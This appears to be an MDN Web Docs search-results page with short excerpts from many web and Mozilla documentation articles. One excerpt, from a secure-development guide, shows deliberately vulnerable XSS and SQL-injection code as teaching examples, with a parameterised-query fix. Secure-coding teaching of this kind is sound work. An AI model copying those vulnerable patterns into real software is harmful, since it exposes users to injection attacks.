review, xpcom:language bindings, xpconnect ensures that the specified object's methods are all in the object's scope, and aren't cross-component wrappers. 44 components.utils.reporterror xpcom:language bindings, xpconnect components.utils.reporterror reports a javascript error object to the error console, and returns. it is meant for use by extension developers who have exc...
...And 19 more matches
Border-image generator - CSS: Cascading Style Sheets
</div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-input-slider" data-topic="p
review-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="p
review_section" class="group section"> <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> <div class="guideline" data-axis="x" data-topic="slice-right"></div> <...
... <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> <div class="guideline" data-axis="x" data-topic="slice-right"></div> <div class="guideline" data-axis="y" data-topic="slice-bottom"></div> <div class="guideline" data-axis="x" data-topic="slice-left"></div> </div> <div id="p
review"> </div> </div> <!-- controls --> <div id="controls" class="group section"> <!-- border-image-slice --> <div id="border-slice-control" class="category"> <div class="title"> border-image-slice </div> <div class="property"> <div class="name">fill</div> <div class="ui-checkbox...
... </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="font-size" data-info="em size" data-unit="px" data-value="12" data-sensivity="3"> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="p
review-width" data-info="width" data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div> </div> <div class="property"> <div class="ui-input-slider" data-topic="p
review-height" data-info="height" data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"> </di...
...And 19 more matches
Client-side storage - Learn web development
this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. this article explains the very basics of how these work. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data. client-side storage? elsewhere in the mdn learning area we talked about the difference between static sites and dynamic sites. ...
...ed by the user's browser. client-side storage works on similar principles, but has different uses. it consists of javascript apis that allow you to store data on the client (i.e. on the user's machine) and then retrieve it when needed. this has many distinct uses, such as: personalizing site preferences (e.g. showing a user's choice of custom widgets, color scheme, or font size). persisting p
revious site activity (e.g. storing the contents of a shopping cart from a p
revious session, remembering if a user was p
reviously logged in). saving data and assets locally so a site will be quicker (and potentially less expensive) to download, or be usable without a network connection. saving web application generated documents locally for use offline often client-side and server-side storage ar...
...lector('#submitname'); const forgetbtn = document.queryselector('#forgetname'); const h1 = document.queryselector('h1'); const personalgreeting = document.queryselector('.personal-greeting'); next up, we need to include a small event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want. add this snippet below your p
revious code: // stop the form from submitting when a button is pressed form.addeventlistener('submit', function(e) { e.p
reventdefault(); }); now we need to add an event listener, the handler function of which will run when the "say hello" button is clicked. the comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text inpu...
...And 18 more matches
nsIWinTaskbar
askbar.idlscriptable represents a service that exposes the apis provided by the microsoft windows taskbar. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) starting with windows 7, applications gain some control over their appearance in the taskbar. by default, there is a single taskbar p
review per top level window (excluding pop-ups). this p
review is represented by an nsitaskbarwindowp
review object. an application can register its own "tab" p
reviews. these p
reviews automatically hide the corresponding nsitaskbarwindowp
review. these don't have to correspond to tabs within the application; they can vary in size, shape, and location. they don't even have to represent actual gui element...
...warning: this api has undergone changes that are not yet documented. among these is the addition of the method getoverlayiconcontroller(). this method is currently known to crash if used under certain conditions. ...
...warning: this api has undergone changes that are not yet documented. among these is the addition of the method getoverlayiconcontroller(). this method is currently known to crash if used under certain conditions. see bug 744992 for details and to track progress on a fix. ...
...And 16 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
gomita-san won "most useful upgraded extension" award in mozilla's 2006 "extend firefox" competition for scrapbook, and was runner-up in the "extend firefox 2" contest for firegestures. ...
... world” extension that only displays the time.3 phase 1: test install our first step will be to perform a test installation consisting of the minimum code needed to add a new menu item to the tools menu (figure 3). fixme: figure 3: menu after phase 1 complete source file structure first set up the work folders you’ll use to organize your extension’s source files. the folder can be whe
rever you want, but for the purposes of this guide, we’ll assume it’s at c:\extensions\helloworld . create folders and files in your work folder as shown in figure 4. the purpose of each file created during phase 1 is explained in table 2. figure 4: folder structure used in phase 1 c:/ └───extensions └───helloworld │ chrome.manifest │ install.rdf ...
...e target of the overlay in overlay.xul is being read in again, the changes will be reflected, and you’ll be able to see the changes by opening a new browser window. the files clock.xul and clock.js will be read in every time you open the clock window, so just re-opening the clock window once will suffice to check them. during development, it’s important to minimize the number of steps between
revising a source file and running an operations check against those changes. the part “operations checks on
revised source files” discusses the general procedure to follow from source-file
revision to operations check. what if something’s not working right? if your extension isn’t working according to plan, first see if there’s an error being displayed on the errors panel of the error co...
...And 15 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abb
reviations that are used in documentation and coding. this glossary provides definitions of words and abb
reviations you need to know to successfully understand and build for the web. 2 404 glossary, http errors, infrastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource. 3 502 502, bad gateway, glossary, http errors, infrastructure, navigation an http error code meaning "bad gateway". 4 alpn alpn, draft, glossar...
...are or hardware. 6 aria accessibility, glossary aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology. 7 arpa glossary, infrastructure .arpa (address and routing parameter area) is a top-level domain used for internet infrastructure purposes, especially
reverse dns lookup (i.e., find the domain name for a given ip address). 8 ascii glossary, infrastructure ascii (american standard code for information interchange) is one of the most popular coding method used by computers for converting letters, numbers, punctuation and control codes into digital form. since 2007, utf-8 superseded it on the web. 9 atag atag, acces...
... an array is an ordered collection of data (either primitive or object depending upon the language). arrays are used to store multiple values in a single variable. this is compared to a variable that can store only one value. 24 asynchronous glossary, web, webmechanics, asynchronous the term asynchronous refers to or multiple related things happening without waiting for the p
revious one to complete). 25 attribute codingscripting, glossary, html an attribute extends an element, changing its behavior or providing metadata. 26 bandwidth glossary, infrastructure bandwidth is the measure of how much information can pass through a data connection in a given amount of time. it is usually measured in multiples of bits-per-second (bps), f...
...And 15 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
lpha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* p
review color */ .ui-color-picker .p
review { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("images/alpha.png"); float: left; position: relative; } .ui-color-picker .p
review:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .p
review-color { w...
...component('v', 'value', this.inputchangevalue.bind(this)); this.newinputcomponent('l', 'lightness', this.inputchangelightness.bind(this)); this.createalphaarea(); this.newinputcomponent('r', 'red', this.inputchangered.bind(this)); this.newinputcomponent('g', 'green', this.inputchangegreen.bind(this)); this.newinputcomponent('b', 'blue', this.inputchangeblue.bind(this)); this.createp
reviewbox(); this.createchangemodebutton(); this.newinputcomponent('alpha', 'alpha', this.inputchangealpha.bind(this)); this.newinputcomponent('hexa', 'hexa', this.inputchangehexa.bind(this)); this.setcolor(this.color); pickers[topic] = this; } /*************************************************************************/ // function for generating the color-picker /*****************...
... function createalphaarea() { var mask = document.createelement('div'); var picker = document.createelement('div'); mask.classname = 'alpha'; picker.classname = 'slider-picker'; this.alpha_mask = mask; this.alpha_picker = picker; setmousetracking(mask, this.updatealphaslider.bind(this)); mask.appendchild(picker); this.node.appendchild(mask); }; colorpicker.prototype.createp
reviewbox = function createp
reviewbox(e) { var p
review_box = document.createelement('div'); var p
review_color = document.createelement('div'); p
review_box.classname = 'p
review'; p
review_color.classname = 'p
review-color'; this.p
review_color = p
review_color; p
review_box.appendchild(p
review_color); this.node.appendchild(p
review_box); }; colorpicker.prototype.newinputcomponent = funct...
...And 15 more matches
Secure Development Guidelines
the following content will likely see significant
revision, though can be used as a reference for security best practices to follow when developing code for mozilla. introduction provide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modif...
...victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following snippet of javascript: document.write("welcome to " + document.location); ... ...
... could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: p
revention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); ...
...And 14 more matches
Using files from web applications - Web APIs
ragover, false); dropbox.addeventlistener("drop", drop, false); in this example, we're turning the element with the id dropbox into our drop zone. this is done by adding listeners for the dragenter, dragover, and drop events. we don't actually need to do anything with the dragenter and dragover events in our case, so these functions are both simple. ...
...g the element with the id dropbox into our drop zone. this is done by adding listeners for the dragenter, dragover, and drop events. we don't actually need to do anything with the dragenter and dragover events in our case, so these functions are both simple. ...
...dding listeners for the dragenter, dragover, and drop events. we don't actually need to do anything with the dragenter and dragover events in our case, so these functions are both simple. they just stop propagation of the event and p
revent the default action from occurring: function dragenter(e) { e.stoppropagation(); e.p
reventdefault(); } function dragover(e) { e.stoppropagation(); e.p
reventdefault(); } the real magic happens in the drop() function: function drop(e) { e.stoppropagation(); e.p
reventdefault(); const dt = e.datatransfer; const files = dt.files; handlefiles(files); } here, we retrieve the datatransfer field from the event, pull the file list out of it, and then pass that to handlefiles(). from this point on, handling the files is the same whether the ...
...And 14 more matches
Accessibility in React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. ...
...ent renders. let's see this in action; put the following useeffect() call just above the return statement in the body of todo(), and pass into it a function that logs the words "side effect" to your console: useeffect(() => { console.log("side effect"); }); to illustrate the difference between the main render process and code run inside useeffect(), add another log – put this one below the p
revious addition: console.log("main render"); now, open the app in your browser. you should see both messages in your console, with each one repeating three times. note how "main render" logged first, and "side effect" logged second, even though the "side effect" log appears first in the code. main render (3) todo.js:100 side effect (3) ...
...there are three instances of <todo />, we see focus on the last "edit" button. we need to refactor our approach so that focus changes only when isediting changes from one value to another. more robust focus management in order to meet our refined criteria, we need to know not just the value of isediting, but also when that value has changed. in order to do that, we need to be able to read the p
revious value of the isediting constant. using pseudocode, our logic should be something like this: if (wasnoteditingbefore && iseditingnow) { focusoneditfield() } if (waseditingbefore && isnoteditingnow) { focusoneditbutton() } the react team had discussed ways to get a component’s p
revious state, and has provided an example custom hook we can use for the job. paste the following code near ...
...And 13 more matches
Key Values - Web APIs
qt::key_home (0x01000010) keycode_move_home (122) "pagedown" the page down (or pgdn) key. scrolls down or displays the next page of content. vk_next (0x22) kvk_pagedown (0x79) gdk_key_page_down (0xff56) gdk_key_kp_page_down (0xff9b) qt::key_pagedown (0x01000017) keycode_page_down (93) "pageup" the page up (or pgup) key. scrolls up or displays the p
revious page of content. vk_prior (0x21) kvk_pageup (0x74) gdk_key_page_up (0xff55) gdk_key_kp_page_up (0xff9a) qt::key_pageup (0x01000016) keycode_page_up (92) [1] internet explorer, edge (16 and earlier), and firefox (36 and earlier) use "left", "right", "up", and "down" instead of "arrowleft", "arrowright", "arrowup", and "arrowdown". editing keys keyboardeven...
...the exsel key is pressed. ui keys keyboardevent.key value description virtual keycode windows mac linux android "accept" the accept, commit, or ok key or button. accepts the currently selected option or input method sequence conversion. vk_accept (0x1e) keycode_dpad_center (23) "again" the again key. redoes or repeats a p
revious action. gdk_key_redo (0xff66) "attn" [4] the attn (attention) key. vk_oem_attn (0xf0) gdk_key_3270_attn (0xfd0e) "cancel" [1] the cancel key. gdk_key_cancel (0xff69) "contextmenu" [3] shows the context menu. typically found between the windows (or os) key and the control key on the right side of the keyboard. v...
...se key. pauses the current application or state, if applicable. note: this shouldn't be confused with the "mediapause" key value, which is used for media controllers, rather than to control applications and processes. vk_pause (0x13) gdk_key_pause (0xff13) gdk_key_break (0xff6b) qt::key_pause (0x01000008) keycode_break (121) "play" the play key. resumes a p
reviously paused application, if applicable. note: this shouldn't be confused with the "mediaplay" key value, which is used for media controllers, rather than to control applications and processes. vk_play (0xfa) gdk_key_3270_play (0xfd16) qt::key_play (0x01020005) "props" the props (properties) key. "select" the select key. vk_sele...
...And 13 more matches
JXON - Archive of obsolete content
if you have already have a dom tree from using xmlhttprequest, skip to the next paragraph. note: if you are using an instance of xmlhttprequest in order to retrieve your xml file, please use the yourrequest.responsexml property to get a parsed xml document. don't use yourrequest.responsetext! the algorithms proposed here (see: #1...
... nattr++; } return null; }; jxontree.prototype.haschildren = function () { return this.keylength > 0; }; */ var myobject = new jxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method p
revents new properties from being added to it, p
revents existing properties from being removed and p
revents existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immutable. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyval...
...["@" + oattrib.name.tolowercase()] = parsetext(oattrib.value.trim()); } } /* object.freeze(this); */ } var myobject = new jxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method p
revents new properties from being added to it, p
revents existing properties from being removed and p
revents existing properties, or their enumerability, configurability, or writability, from being changed. in essence the object tree is made effectively immutable. with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "k...
...And 12 more matches
Third-party APIs - Learn web development
many large websites and services such as google maps, twitter, facebook, paypal, etc. provide apis allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. using facebook login to log in your users). this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how third-party apis work, and how to use them to enhance your websites. ...
...y enables the api provider to hold users of the api accountable for their actions. when the developer has registered for a key, they are then known to the api provider, and action can be taken if they start to do anything malicious with the api (such as tracking people's location or trying to spam the api with loads of requests to stop it working, for example). the easiest action would be to just
revoke their api privileges. extending the mapquest example let's add some more functionality to the mapquest example to show how to use some other features of the api. to start this section, make yourself a copy of the mapquest starter file, in a new directory. if you've already cloned the examples repository, you'll already have a copy of this file, which you can find in the javascript/apis...
...and display the search results. connect the api to your app first, you'll need to make a connection between the api and your app. in the case of this api, you need to include the api key as a get parameter every time you request data from the service at the correct url. find the following line: let key = ' ... ...
...And 12 more matches
Timing element visibility with the Intersection Observer API - Web APIs
d provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site. there's a good reason why the notion of tracking visibility of ads is being used in this example. it turns out that one of the most common uses of flash or other script in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of
revenues. without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. using this api lets everything get streamlined by the browser to reduce the impact on performance substantially. let's get started! site structure: the html the site's structure is not too complicated. we'll be using cs...
...x; width: 120px; font-size: 14px; bottom: 30px; border: 1px solid black; background-color: rgba(255, 255, 255, 0.5); } there's nothing magic in here. it's fairly basic css. tying it together with javascript that brings us to the javascript code which makes everything work. let's start with the global variables: let contentbox; let nextarticleid = 1; let visibleads = new set(); let p
reviouslyvisibleads = null; let adobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom. this is where we'll insert the articles and ads. nextarticleid each article is given a unique id number; this variable tracks the next id to use, starting with 1. visibleads a set which we'll use to track the ads curr...
...dobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom. this is where we'll insert the articles and ads. nextarticleid each article is given a unique id number; this variable tracks the next id to use, starting with 1. visibleads a set which we'll use to track the ads currently visible on the screen. p
reviouslyvisibleads used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page). adobserver will hold our intersectionobserver used to track the intersection between the ads and the <main> element's bounds. refreshintervalid used to store the interval id returned by setinterval(). this interval will be used to trigger ...
...And 12 more matches
Touch events - Web APIs
ded", startup); this simply sets up all the event listeners for our <canvas> element so we can handle the touch events as they occur. tracking new touches we'll keep track of the touches in-progress. var ongoingtouches = []; when a touchstart event occurs, indicating that a new touch on the surface has occurred, the handlestart() function below is called. ...
...then we get the context and pull the list of changed touch points out of the event's touchevent.changedtouches property. after that, we iterate over all the touch objects in the list, pushing them onto an array of active touchpoints and drawing the start point ...
...hes.push(copytouch(touches[i])); var color = colorfortouch(touches[i]); ctx.beginpath(); ctx.arc(touches[i].pagex, touches[i].pagey, 4, 0, 2 * math.pi, false); // a circle at the start ctx.fillstyle = color; ctx.fill(); console.log("touchstart:" + i + "."); } } this calls event.p
reventdefault() to keep the browser from continuing to process the touch event (this also p
revents a mouse event from also being delivered). then we get the context and pull the list of changed touch points out of the event's touchevent.changedtouches property. after that, we iterate over all the touch objects in the list, pushing them onto an array of active touchpoints and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4-pixel radius circle...
...And 12 more matches
HTTP Index - HTTP
s, such as those issued by the browser when resources are embedded using elements such as <script> and <img>. this serves as an additional layer of protection above and beyond the same-origin policy which can mitigate speculative side channel attacks as well as cross-site script inclusion attacks. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to p
revent some cross-origin reads by default. 20 cross-origin resource sharing (cors) ajax, cors, cross-origin resource sharing, fetch, fetch api, http, http access controls, same-origin policy, security, xmlhttprequest, l10n:priority cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin...
...ccess control and authentication. the most common http authentication is based on the "basic" schema. this page shows an introduction to the http framework for authentication and shows how to restrict access to your server using the http "basic" schema. 43 http caching caching, guide, http the performance of web sites and applications can be significantly improved by reusing p
reviously fetched resources. web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource. by making use of http caching, web sites become more responsive. 44 http conditional requests conditional requests, guide, http http has a concept of conditional requests, where the result, and even the success of a request, can be ...
...ts conditional requests, guide, http http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when p
reventing to lose updates when uploading or modifying a document on the server. 45 http cookies advertising, browser, cookies, cookies article, guide, http, history, javascript, privacy, protocols, server, storage, web development, data, request, tracking an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. the browse...
...And 12 more matches
<input type="file"> - HTML: Hypertext Markup Language
he first file in the list of files they selected. the other files can be identified using the input's htmlinputelement.files property. note: if multiple files are selected, the string represents the first selected file. javascript can access the other files through the input's files property. if no file is yet selected, the string is "" (empty). the string is prefixed with c:\fakepath\, to p
revent malicious software from guessing the user's file structure. additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing ...
.... a value of user indicates that the user-facing camera and/or microphone should be used. a value of environment specifies that the outward-facing camera and/or microphone should be used. if this attribute is missing, the user agent is free to decide on its own what to do. if the requested facing mode isn't available, the user agent may fall back to its preferred default mode. note: capture was p
reviously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. files a filelist object that lists every selected file. this list has no more than one member unless the multiple attribute is specified. multiple when the multiple boolean attribute is specified, the file input allows the us...
... it may look similar, but if you try selecting a file with this input, you'll see that the file picker only lets you select the file types specified in the accept value (the exact nature differs across browsers and operating systems). the accept attribute doesn't validate the ...
...And 11 more matches
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls. this article leads you through basic concepts and examples of client-side form validation. prerequisites: computer literacy, a reasonable understanding of html, css, and javascript. objective: to understand what client-side form validation is, why it's important, and how to apply various techniques to implement it. ...
...ant to protect our users' data. forcing our users to enter secure passwords makes it easier to protect their account information. we want to protect ourselves. there are many ways that malicious users can misuse unprotected forms to damage the application (see website security). warning: never trust data passed to your server from the client. even if your form is validating correctly and p
reventing malformed input on the client-side, a malicious user can still alter the network request. different types of client-side validation there are two different types of client-side validation that you'll encounter on the web: built-in form validation uses html5 form validation features, which we've discussed in many places throughout this module. this validation generally doesn't require...
...when an element is invalid, the following things are true: the element matches the :invalid css pseudo-class, and sometimes other ui pseudo-classes (e.g., :out-of-range) depending on the error, which lets you apply a specific style to invalid elements. if the user tries to send the data, the browser will block the form and display an error message. note: there are several errors that will p
revent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror. built-in form validation examples in this section, we'll test out some of the attributes that we discussed above. simple start file let's start with a simple example: an input that allows you to choose wheth...
...And 10 more matches
nsIDOMEvent
dom/interfaces/events/nsidomevent.idlscriptable this interface is the primary data type for all events in the document object model. inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface. everything marked as gecko 16.0 was p
reviously available in that interface. ...
...interface. everything marked as gecko 16.0 was p
reviously available in that interface. see bug 761613. ...
... void duplicateprivatedata(); native code only! nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getp
reventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void p
reventbubble(); obsolete since gecko 24 void p
reventcapture(); obsolete since gecko 24 void p
reventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only! void settrusted(in boolean atrusted); native code only! v...
...And 10 more matches
Using IndexedDB - Web APIs
ase is ver_err. it indicates that the version of the database stored on the disk is greater than the version that you are trying to open. this is an error case that must always be handled by the error handler. creating or updating the version of the database when you create a new database or increase the version number of an existing database (by specifying a higher version number than you did p
reviously, when opening a database), the onupgradeneeded event will be triggered and an idbversionchangeevent object will be passed to any onversionchange event handler set up on request.result (i.e., db in the example). in the handler for the upgradeneeded event, you should create the object stores needed for this version of the database: // this event is only implemented in recent browsers request...
...if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the new options. (note that this will delete ...
...e var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores from the p
revious version of the database, so you do not have to create these object stores again. you only need to create any new object stores, or delete object stores from the p
revious version that are no longer needed. if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the new options. (note that this will delete the information in the object store! if you need to save that information, you should read it out and save it somewhere else before upgrading the database.) trying to cr...
...And 10 more matches
Color picker tool - CSS: Cascading Style Sheets
lpha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* p
review color */ .ui-color-picker .p
review { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .p
review:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui...
...-color-picker .p
review { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .p
review:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .p
review-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color...
...ck { display: table; } /** * container */ #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; display: table; } /** * picker zone */ #picker { padding: 10px; width: 980px; } .ui-color-picker { padding: 3px 5px; float: left; border-color: #fff; } .ui-color-picker .switch_mode { display: none; } .ui-color-picker .p
review-color:hover { cursor: move; } /** * picker container */ #picker-samples { width: 375px; height: 114px; max-height: 218px; margin: 0 10px 0 30px; overflow: hidden; position: relative; float: left; transition: all 0.2s; } #picker-samples .sample { width: 40px; height: 40px; margin: 5px; border: 1px solid #ddd; position: absolute; float: left; transition: all 0.2s; } #picke...
...And 10 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
and... // bracket notation obj['name'] = 'simon'; var name = obj['name']; // can use a variable to define a key var user = prompt('what is your key?') obj[user] = prompt('what is its value?') these are also semantically equivalent. the second method has the advantage that the name of the property is provided as a string, which means it can be calculated at run-time. however, using this method p
revents some javascript engine and minifier optimizations being applied. it can also be used to set and get properties with names that are reserved words: obj.for = 'simon'; // syntax error, because 'for' is a reserved word obj['for'] = 'simon'; // works fine starting in ecmascript 5, reserved words may be used as object property names "in the buff". this means that they don't need to be "clothed...
...nd returns the first item. a.unshift(item1[, item2[, ...[, itemn]]]) prepends items to the start of the array. a.slice(start[, end]) returns a sub-array. a.sort([cmpfn]) takes an optional comparison function. a.splice(start, delcount[, item1[, ...[, itemn]]]) lets you modify an array by deleting a section and replacing it with more items. a.
reverse()
reverses the array. functions along with objects, functions are the core component in understanding javascript. the most basic function couldn't be much simpler: function add(x, y) { var total = x + y; return total; } this demonstrates a basic function. a javascript function can take 0 or more named parameters. the function body can contain as many statements as you like a...
...he function was called with. we will also replace the for loop with a for...of loop to return the values within our variable. function avg(...args) { var sum = 0; for (let value of args) { sum += value; } return sum / args.length; } avg(2, 3, 4, 5); // 3.5 in the above code, the variable args holds all the values that were passed into the function. it is important to note that whe
rever the rest parameter operator is placed in a function declaration it will store all arguments after its declaration, but not before. i.e. function avg(firstvalue, ...args) will store the first value passed into the function in the firstvalue variable and the remaining arguments in args. that's another useful language feature but it does lead us to a new problem. the avg() function takes a comma-s...
...And 10 more matches
Index - Archive of obsolete content
individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages. 3 a xul bestiary add-ons, extensions, needstechnical
review, xul this xulnote presents some of the key concepts and terms in the xul development environment. the purpose of this article is not to describe these items in any great detail but to define what they are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and...
...ry! 116 eventnode xul attributes, xul reference no summary! 117 events xul attributes, xul reference no summary! 118 expr xul attributes, xul reference no summary! 119 fadein xul, xul attribute, xul reference no summary! 120 findnextaccesskey xul, xul attributes no summary! 121 findp
reviousaccesskey no summary! 122 first-tab xul attributes, xul reference no summary! 123 firstdayofweek xul attributes, xul reference no summary! 124 firstpage xul attributes, xul reference no summary! 125 fixed xul attributes, xul reference no summary! 126 flags xul attributes, xul reference...
... 245 onsearchbegin xul, xul attributes, xul reference no summary! 246 onsearchcomplete xul attributes, xul reference no summary! 247 onselect no summary! 248 ontextcommand xul attributes, xul reference no summary! 249 ontextentered xul attributes, xul reference no summary! 250 ontext
revert xul attributes, xul reference no summary! 251 ontext
reverted xul attributes, xul reference no summary! 252 onunload xul attributes, xul reference no summary! 253 onwizardback xul attributes, xul reference no summary! 254 onwizardcancel xul attributes, xul reference no summary! 255 onwizardf...
...And 9 more matches
NSS Tools crlutil
for information on security module database management, see using the security module database tool. ...
...for information on security module database management, see using the security module database tool. ...
...t can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. ...
...And 9 more matches
Index
js::objectvalue jsapi reference, reference, référence(2), spidermonkey js::objectvalue converts a given jsobject to js::value. the conversion always succeeds. 59 js::ordinarytoprimitive jsapi reference, reference, référence(2), spidermonkey js::ordinarytoprimitive converts a javascript object to a specified type value, by the algorithm specified in es6 draft
rev 28 (2014 oct 14) 7.1.1, second algorithm. 60 js::persistentrooted jsapi reference, reference, référence(2), spidermonkey here, ptr represents the private member of js::persistentrooted<t>, typed with t. 61 js::propertyspecnameequalsid jsapi reference, reference, référence(2), spidermonkey js::propertyspecnameequalsid determines if the given jsproperty...
